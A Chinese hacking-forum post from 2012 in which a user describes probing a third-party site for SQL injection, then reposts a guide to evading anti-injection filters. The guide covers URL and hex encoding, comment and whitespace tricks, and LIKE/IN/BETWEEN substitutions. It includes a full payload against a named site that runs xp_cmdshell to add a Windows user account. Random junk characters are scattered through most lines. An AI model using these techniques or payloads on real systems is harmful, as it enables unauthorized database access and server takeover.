找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2186|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
路过这个网站,检测了一下.
" k" ]" z' C5 t" S, o* C7 F: n  Qhttp://www.xxx.cn/Article.asp?ID=117 and 1=1
9 h# `4 y; n9 a' c2 A+ |; X! ]直接返回主页
/ u+ t" b0 L3 o) N8 g5 Qhttp://www.xxx.cn/Article.asp?ID=117 or 1=11 }- u* C0 D9 e( P" }: a  `
直接返回主页: L- [0 Q* f8 ?& I1 U
http://www.xxx.cn/Article.asp?ID=117 or
) A/ k* `9 G* D' f没有返回主页 没有过滤or
/ R, D. v& H' E, O$ k# }& O8 yhttp://www.xxx.cn/Article.asp?ID=117 and' w3 x# J$ b' n# K) ?
直接返回主页 看来过滤了and7 t3 M1 ?1 y9 U( H9 w
http://www.xxx.cn/Article.asp?ID=117 or 1/ @0 }7 s$ z! M
没有返回主页 即没有过滤or 也没有过滤17 C' d4 O5 d2 q, Z
http://www.xxx.cn/Article.asp?ID=117 or 1=1
6 W% @  n2 y9 u6 W) E# _/ |直接返回主页 很明显过滤了等号 7 l- k8 N& l. i9 V1 w3 Z* y
or的特性是与and相反的.) k4 w' n& x2 M. ]6 f, g
or 1=1 爆错 或与原页面不同6 a' c/ v( ~' _; U$ ^
or 1=2 原页面相同7 m! S5 `0 C' ?9 p! Q
这样就是一个注入点
% B, V" }. P, ~但他过滤了=号 我就用><号代替=号吧!
4 n- p2 Y& Y# \! Ror 1<2 很明显是正确的,所以应该与原页面不同  e8 y) a1 t- ?) e$ k& a
or 1>2 很明显是错误的,所以应该与原页面相同" L2 N- ?) S: |* Q$ ]6 }  B
然后看看有没有过滤其他的查询语句,比如select.: h* v6 D# t- H' g7 I' B
http://www.xxx.cn/Article.asp?ID=117 select7 m5 X1 M" K1 M3 K, x* i
直接返回主页
% S) w+ J9 K1 q& z, Y, E又迷茫了..
3 m& h3 Z. ]' a- |& p. ?( p# A$ n( i/ e7 q6 v8 M5 c

9 Q/ d1 ^8 R& ]; P; lcookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
4 K" I4 ~6 }! ~) s% h1 i这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
$ T" w: i5 v! z================================================, L4 |* I% Z7 s% c
以下是转贴:( O( G0 p' T1 n0 U7 d) o

8 l& [+ a! P1 }- h* i突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
0 Q7 Z9 ^- O* [, A' f经过我的收集,大部分的防注入程序都过滤了以下关键字:
  x, P, \. s8 ~+ D, Hand | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
9 t7 h2 f- S8 Q4 n. Q% \  |; o而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
$ S* _7 a$ F* T5 X8 S  G  i( Q对于关键字的过滤,以下是我收集的以及我个人的一些想法。 % Z2 R$ g8 {% `5 L' P' U
1、运用编码技术绕过
$ q" `' C6 Z; m$ a如URLEncode编码,ASCII编码绕过。例如or 1=1即 + A( v# k2 B  t1 H9 u' k6 W
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 0 n5 Y/ ]7 p9 X# Q* r; [

" n  a9 l3 ?+ M5 s2、通过空格绕过
- A" G5 E9 z0 D3 g2 G. w如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 : \7 u. a: @' n' g. W7 Q
or’ swords’ =‘swords’ 9 d$ ], W. l& R' A
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
9 x  m0 B8 o, c( b3、运用字符串判断代替 3 D5 o/ u2 J4 m5 @, F5 |: @
用经典的or 1=1判断绕过,如 2 K. @- N! q$ \! y9 F, \  d8 n
or ’swords’ =’swords’   l- c1 o9 a0 S
,这个方法就是网上在讨论的。 ) [" t2 T% B6 l3 L7 E7 U
4、通过类型转换修饰符N绕过 * o' ^# J0 k! w' i0 M# x
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
" T8 d2 q9 u  \) j6 B( {4 a5、通过+号拆解字符串绕过 % S, Q$ Y+ Q* t" p( R+ Z
效果值得考证,但毕竟是一种方法。如 # C. W  H9 S: _6 v6 a' w+ h6 B% S( M! B
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) 0 Z4 i  b% T: [. P# v0 D9 Q0 m

+ r1 u. b; n' w' c8 |6、通过LIKE绕过   f3 q& G' y6 T4 M0 q& w
以前怎么就没想到呢?如or
& y& Q, ]! [7 D7 ~3 O( L’swords’ LIKE ’sw’ & _! T. K0 }! ]( j4 e% v
!!!显然可以很轻松的绕过 + R) A$ R0 N& e3 n" G
“=”“>”
. ~. U% }' U( o, B* U# U+ i的限制……
7 ~, ^1 x  S' X3 Y# {. ?7、通过IN绕过 , `) t8 Q% D! `! m
与上面的LIKE的思路差不多,如
) ^$ E! f# `) N/ Bor ’swords’ IN (’swords’)
" C/ R$ d4 Z8 M; `; [9 i) r1 X
  X' h& Y5 t3 Y: g- x8、通过BETWEEN绕过 ( j5 L& z0 w- |- }& H

- ?$ h/ B1 E5 w# g/ por ’swords’ BETWEEN ’rw’ AND ’tw’
- A, W2 B  D  Q8 H3 z8 v- f4 w& |0 O* \0 s1 {: Y3 ]3 ]0 ^
9、通过>或者<绕过
# m- h5 u8 P+ i; B" a  K# b  qor ’swords’ > ’sw’
' w& D2 @1 C; c6 b, ?$ h  `) eor ’swords’ < ’tw’ - b. \( k/ ~) `; T5 t4 F5 a
or 1<3
9 G# z4 y; A$ ~/ J8 u…… $ ?: o5 t7 D# M. U. _% e6 }
10、运用注释语句绕过
. J2 E" r- [. K- S用/**/代替空格,如:
. n  W) W" j. }7 m% U4 V4 JUNION /**/ Select /**/user,pwd,from tbluser % ~1 T5 c# {8 X3 G1 _' N, t
8 G* X" G! i1 }- |; ~0 X* ~( V& ?
用/**/分割敏感词,如: " G, }* K3 t. J8 K
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
  }- C3 ]( y, N9 L$ u) v0 J: G, l4 J$ |0 k' V9 [5 ^! o7 \
11、用HEX绕过,一般的IDS都无法检测出来 2 V  p' A& l' o
0x730079007300610064006D0069006E00 =hex(sysadmin)
' a8 D5 j- c. W0 r0x640062005F006F0077006E0065007200 =hex(db_owner)
7 f% K! I& B- H另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: / q( d& {3 n% @) p8 g5 }
  declare @a sysname ' L7 H- J- _$ X6 @6 l9 _, d1 M
  select @a= & W4 S; S0 {( s9 l1 {6 c& X
  exec master.dbo.xp_cmdshell @a 1 K0 F8 d" {8 b: i
效果 . H5 ~0 N& _; j0 I2 N# E
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
' Y5 i% ?+ S; ]# k( D9 f, [9 c. {2 p2 p; v; q& {, X& C* Y* ]1 M5 L
其中的
4 {$ F7 P" k0 o2 l+ L4 m0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 , D9 ~" x5 n* ]$ g& I4 H
就是 . e  r* q& a6 m$ e; R# N  m* _5 r
“net user angel pass /add”. E$ ?$ P  Y2 ~( @, E$ V6 C# C. A" m
" D9 ?& z  K9 ^
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。& d; M& C* M. R/ Q3 t' Q) c" m
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。( B+ g2 h  v. g  G$ O
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似- b1 a: _! x! R4 Z
Copy code3 ~3 ~) X2 |) W9 T2 W$ P' h, t1 j
select * from table exec xp_cmdshell'xxxxxxxxxx'
" l8 t" v: b5 d4 k1 i" w% \5 G

9 p  C2 u! T& q7 V& _$ Vselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'4 y$ `% T: A1 C7 C0 ]* o5 l' x

( w" \! r1 h9 d& y
: p7 L6 b  q5 S8 Uselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'2 o; N& Y! ?, g, q3 R
; D+ `8 }, s" ~! v' F! z

5 x7 B1 h7 }7 ~9 ^select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'/ q3 }& x5 F, v1 b3 L( d* ]2 l5 f" X8 t
- s* _- x) B- z
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?. k4 ~# T' o, k

$ d9 f5 }$ Z8 y7 \5 Z+ M  K# Z这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
8 W7 C& }5 w/ Y* R* O+ L* ?可能大家早就知道了,不管怎么说,发在这里吧!
% Y; R! K$ d) W9 R3 j& ~4 z0 t
  [3 E: `; J1 y( E( w最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
4 I! F* G9 ^; R; \% l3 I$ v4 k
9 y# x3 x- V; h5 x- [; k; S# h8 G8 f, Y7 v& i% ?# n% P
/ ~  t) h% ^: _6 l$ r/ x3 h& A
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
: `3 J1 `- s2 ^2 f. D; Z5 J比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? 8 o( m4 f& p) K( \2 k
3 h; E2 U3 p9 A4 n! d- A' y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表